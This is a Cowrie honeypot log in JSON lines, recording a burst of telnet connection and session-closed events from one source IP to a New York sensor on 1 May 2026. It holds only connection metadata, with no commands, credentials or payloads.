{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38736,"dst_ip":"159.203.135.109","dst_port":23,"session":"a914f4bed2bd","protocol":"telnet","message":"New connection: 51.161.172.108:38736 (159.203.135.109:23) [session: a914f4bed2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:36.568470Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38702,"dst_ip":"159.203.135.109","dst_port":23,"session":"60e8a14c8e6b","protocol":"telnet","message":"New connection: 51.161.172.108:38702 (159.203.135.109:23) [session: 60e8a14c8e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:36.582193Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38764,"dst_ip":"159.203.135.109","dst_port":23,"session":"47f365a4fe01","protocol":"telnet","message":"New connection: 51.161.172.108:38764 (159.203.135.109:23) [session: 47f365a4fe01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:36.723106Z"}
{"eventid":"cowrie.session.closed","duration":32.24708914756775,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:36.910448Z","src_ip":"51.161.172.108","session":"2c9e66d05bf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38804,"dst_ip":"159.203.135.109","dst_port":23,"session":"33886c271e59","protocol":"telnet","message":"New connection: 51.161.172.108:38804 (159.203.135.109:23) [session: 33886c271e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:36.942890Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38808,"dst_ip":"159.203.135.109","dst_port":23,"session":"60f2a673e750","protocol":"telnet","message":"New connection: 51.161.172.108:38808 (159.203.135.109:23) [session: 60f2a673e750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:36.970354Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38826,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c98ed6c4ac4","protocol":"telnet","message":"New connection: 51.161.172.108:38826 (159.203.135.109:23) [session: 5c98ed6c4ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.146166Z"}
{"eventid":"cowrie.session.closed","duration":31.454832792282104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.157047Z","src_ip":"51.161.172.108","session":"8f6e4821dcc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38816,"dst_ip":"159.203.135.109","dst_port":23,"session":"35eff5b153c4","protocol":"telnet","message":"New connection: 51.161.172.108:38816 (159.203.135.109:23) [session: 35eff5b153c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.225472Z"}
{"eventid":"cowrie.session.closed","duration":30.874358892440796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.307905Z","src_ip":"51.161.172.108","session":"facbbcb65273","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38862,"dst_ip":"159.203.135.109","dst_port":23,"session":"02864009f0e9","protocol":"telnet","message":"New connection: 51.161.172.108:38862 (159.203.135.109:23) [session: 02864009f0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.330920Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38856,"dst_ip":"159.203.135.109","dst_port":23,"session":"239315d7e399","protocol":"telnet","message":"New connection: 51.161.172.108:38856 (159.203.135.109:23) [session: 239315d7e399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.395139Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38870,"dst_ip":"159.203.135.109","dst_port":23,"session":"c40cdb47dffe","protocol":"telnet","message":"New connection: 51.161.172.108:38870 (159.203.135.109:23) [session: c40cdb47dffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.401011Z"}
{"eventid":"cowrie.session.closed","duration":31.225258111953735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.517663Z","src_ip":"51.161.172.108","session":"404548b9e912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999371767044067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.551983Z","src_ip":"51.161.172.108","session":"4228103cf5bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38906,"dst_ip":"159.203.135.109","dst_port":23,"session":"a995e61361cd","protocol":"telnet","message":"New connection: 51.161.172.108:38906 (159.203.135.109:23) [session: a995e61361cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.792723Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38914,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca4c1a23c30","protocol":"telnet","message":"New connection: 51.161.172.108:38914 (159.203.135.109:23) [session: eca4c1a23c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.873024Z"}
{"eventid":"cowrie.session.closed","duration":31.553624391555786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:37.911297Z","src_ip":"51.161.172.108","session":"27b82f4e7025","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.98105430603027,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.006204Z","src_ip":"51.161.172.108","session":"6ae00614002e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66183638572693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.015278Z","src_ip":"51.161.172.108","session":"b17b8b52fcb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38948,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d91dae62aaa","protocol":"telnet","message":"New connection: 51.161.172.108:38948 (159.203.135.109:23) [session: 9d91dae62aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.206799Z"}
{"eventid":"cowrie.session.closed","duration":30.62798571586609,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.212100Z","src_ip":"51.161.172.108","session":"6418161fc9a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38936,"dst_ip":"159.203.135.109","dst_port":23,"session":"18b8f5191845","protocol":"telnet","message":"New connection: 51.161.172.108:38936 (159.203.135.109:23) [session: 18b8f5191845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.226756Z"}
{"eventid":"cowrie.session.closed","duration":30.893524646759033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.233072Z","src_ip":"51.161.172.108","session":"c60b39d40b2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017118453979492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.275717Z","src_ip":"51.161.172.108","session":"251c12ba7e00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38968,"dst_ip":"159.203.135.109","dst_port":23,"session":"da9aa9320466","protocol":"telnet","message":"New connection: 51.161.172.108:38968 (159.203.135.109:23) [session: da9aa9320466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.431782Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38976,"dst_ip":"159.203.135.109","dst_port":23,"session":"be9628645c6f","protocol":"telnet","message":"New connection: 51.161.172.108:38976 (159.203.135.109:23) [session: be9628645c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.530511Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38882,"dst_ip":"159.203.135.109","dst_port":23,"session":"df385812bfae","protocol":"telnet","message":"New connection: 51.161.172.108:38882 (159.203.135.109:23) [session: df385812bfae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.551292Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39000,"dst_ip":"159.203.135.109","dst_port":23,"session":"09354ad4d807","protocol":"telnet","message":"New connection: 51.161.172.108:39000 (159.203.135.109:23) [session: 09354ad4d807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.676664Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39004,"dst_ip":"159.203.135.109","dst_port":23,"session":"31a1f7fae965","protocol":"telnet","message":"New connection: 51.161.172.108:39004 (159.203.135.109:23) [session: 31a1f7fae965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.849300Z"}
{"eventid":"cowrie.session.closed","duration":31.034451484680176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.872513Z","src_ip":"51.161.172.108","session":"e84e0ba64bc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133283853530884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.888111Z","src_ip":"51.161.172.108","session":"9cd46994658a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.968820333480835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:38.983274Z","src_ip":"51.161.172.108","session":"ff18150939eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39038,"dst_ip":"159.203.135.109","dst_port":23,"session":"95ea4c7f1427","protocol":"telnet","message":"New connection: 51.161.172.108:39038 (159.203.135.109:23) [session: 95ea4c7f1427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.118352Z"}
{"eventid":"cowrie.session.closed","duration":30.365044355392456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.152336Z","src_ip":"51.161.172.108","session":"8039becc6d4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39024,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd881ac184a0","protocol":"telnet","message":"New connection: 51.161.172.108:39024 (159.203.135.109:23) [session: dd881ac184a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.175876Z"}
{"eventid":"cowrie.session.closed","duration":30.85319972038269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.233597Z","src_ip":"51.161.172.108","session":"93d57076575e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90410280227661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.238749Z","src_ip":"51.161.172.108","session":"f27001cb396d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.861701488494873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.250678Z","src_ip":"51.161.172.108","session":"22f61453bad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.501492977142334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.421565Z","src_ip":"51.161.172.108","session":"c72157b0411f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.130008459091187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.459940Z","src_ip":"51.161.172.108","session":"2f6c520d1259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.247819185256958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.486480Z","src_ip":"51.161.172.108","session":"14a336969e21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.496779441833496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.552836Z","src_ip":"51.161.172.108","session":"4fdb23b30b89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.292470693588257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.781336Z","src_ip":"51.161.172.108","session":"31b3b69889be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36392,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e598d21e95","protocol":"telnet","message":"New connection: 51.161.172.108:36392 (159.203.135.109:23) [session: a5e598d21e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.860349Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36390,"dst_ip":"159.203.135.109","dst_port":23,"session":"49e31fe38520","protocol":"telnet","message":"New connection: 51.161.172.108:36390 (159.203.135.109:23) [session: 49e31fe38520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:39.864960Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36398,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7be70dd1e39","protocol":"telnet","message":"New connection: 51.161.172.108:36398 (159.203.135.109:23) [session: f7be70dd1e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.007377Z"}
{"eventid":"cowrie.session.closed","duration":32.15161919593811,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.067693Z","src_ip":"51.161.172.108","session":"62e051918d0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36408,"dst_ip":"159.203.135.109","dst_port":23,"session":"f92d29d5a4a8","protocol":"telnet","message":"New connection: 51.161.172.108:36408 (159.203.135.109:23) [session: f92d29d5a4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.084057Z"}
{"eventid":"cowrie.session.closed","duration":31.55250120162964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.097611Z","src_ip":"51.161.172.108","session":"b806366628e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.99043369293213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.131183Z","src_ip":"51.161.172.108","session":"86985ae4f8d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.400434017181396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.191619Z","src_ip":"51.161.172.108","session":"1ed59b4ac4c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1434223651886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.199259Z","src_ip":"51.161.172.108","session":"6cd70d4fe3b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.676578283309937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.253193Z","src_ip":"51.161.172.108","session":"50e2f6c02f71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36336,"dst_ip":"159.203.135.109","dst_port":23,"session":"57af4114a668","protocol":"telnet","message":"New connection: 51.161.172.108:36336 (159.203.135.109:23) [session: 57af4114a668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.423321Z"}
{"eventid":"cowrie.session.closed","duration":30.865529775619507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.435609Z","src_ip":"51.161.172.108","session":"76652a5df484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38864,"dst_ip":"159.203.135.109","dst_port":23,"session":"f500d8801598","protocol":"telnet","message":"New connection: 51.161.172.108:38864 (159.203.135.109:23) [session: f500d8801598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.494315Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36348,"dst_ip":"159.203.135.109","dst_port":23,"session":"3153b88702a8","protocol":"telnet","message":"New connection: 51.161.172.108:36348 (159.203.135.109:23) [session: 3153b88702a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.500092Z"}
{"eventid":"cowrie.session.closed","duration":31.367287635803223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.519737Z","src_ip":"51.161.172.108","session":"642072504901","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36374,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8f5499a71c5","protocol":"telnet","message":"New connection: 51.161.172.108:36374 (159.203.135.109:23) [session: b8f5499a71c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.614748Z"}
{"eventid":"cowrie.session.closed","duration":30.80918526649475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.663301Z","src_ip":"51.161.172.108","session":"70000dabad43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.654375791549683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:40.903206Z","src_ip":"51.161.172.108","session":"ee1f7abf21f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36448,"dst_ip":"159.203.135.109","dst_port":23,"session":"e51ac403c973","protocol":"telnet","message":"New connection: 51.161.172.108:36448 (159.203.135.109:23) [session: e51ac403c973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:41.045204Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36462,"dst_ip":"159.203.135.109","dst_port":23,"session":"8180eed0ca4e","protocol":"telnet","message":"New connection: 51.161.172.108:36462 (159.203.135.109:23) [session: 8180eed0ca4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:41.120521Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36470,"dst_ip":"159.203.135.109","dst_port":23,"session":"e98ca624dc53","protocol":"telnet","message":"New connection: 51.161.172.108:36470 (159.203.135.109:23) [session: e98ca624dc53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:41.300359Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36468,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d2dd7c3bf02","protocol":"telnet","message":"New connection: 51.161.172.108:36468 (159.203.135.109:23) [session: 0d2dd7c3bf02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:41.339319Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36486,"dst_ip":"159.203.135.109","dst_port":23,"session":"9853318c7f93","protocol":"telnet","message":"New connection: 51.161.172.108:36486 (159.203.135.109:23) [session: 9853318c7f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:41.447532Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36516,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a1f6a9acb92","protocol":"telnet","message":"New connection: 51.161.172.108:36516 (159.203.135.109:23) [session: 9a1f6a9acb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:41.480185Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36540,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6376b31f44d","protocol":"telnet","message":"New connection: 51.161.172.108:36540 (159.203.135.109:23) [session: f6376b31f44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:41.709107Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36584,"dst_ip":"159.203.135.109","dst_port":23,"session":"d28c8c39d430","protocol":"telnet","message":"New connection: 51.161.172.108:36584 (159.203.135.109:23) [session: d28c8c39d430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:41.867543Z"}
{"eventid":"cowrie.session.closed","duration":31.528376579284668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:41.872925Z","src_ip":"51.161.172.108","session":"025546c17637","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79711127281189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.035400Z","src_ip":"51.161.172.108","session":"02d6fa7921f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.731383800506592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.041144Z","src_ip":"51.161.172.108","session":"856c8ba77086","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.438689947128296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.115997Z","src_ip":"45.10.154.244","session":"04fc8e643055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36614,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e5fa291cda0","protocol":"telnet","message":"New connection: 51.161.172.108:36614 (159.203.135.109:23) [session: 5e5fa291cda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.140741Z"}
{"eventid":"cowrie.session.closed","duration":31.059648036956787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.190158Z","src_ip":"51.161.172.108","session":"f53975cf043f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24584674835205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.231829Z","src_ip":"51.161.172.108","session":"932c8005743d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36662,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccf4540e0ff8","protocol":"telnet","message":"New connection: 51.161.172.108:36662 (159.203.135.109:23) [session: ccf4540e0ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.256001Z"}
{"eventid":"cowrie.session.closed","duration":30.63848638534546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.338998Z","src_ip":"51.161.172.108","session":"b73c08bfc41d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032253980636597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.384582Z","src_ip":"51.161.172.108","session":"3f62367652ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36678,"dst_ip":"159.203.135.109","dst_port":23,"session":"33be78e4d979","protocol":"telnet","message":"New connection: 51.161.172.108:36678 (159.203.135.109:23) [session: 33be78e4d979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.450428Z"}
{"eventid":"cowrie.session.closed","duration":31.46764874458313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.457177Z","src_ip":"51.161.172.108","session":"acd7beb3028e","protocol":"telnet"}
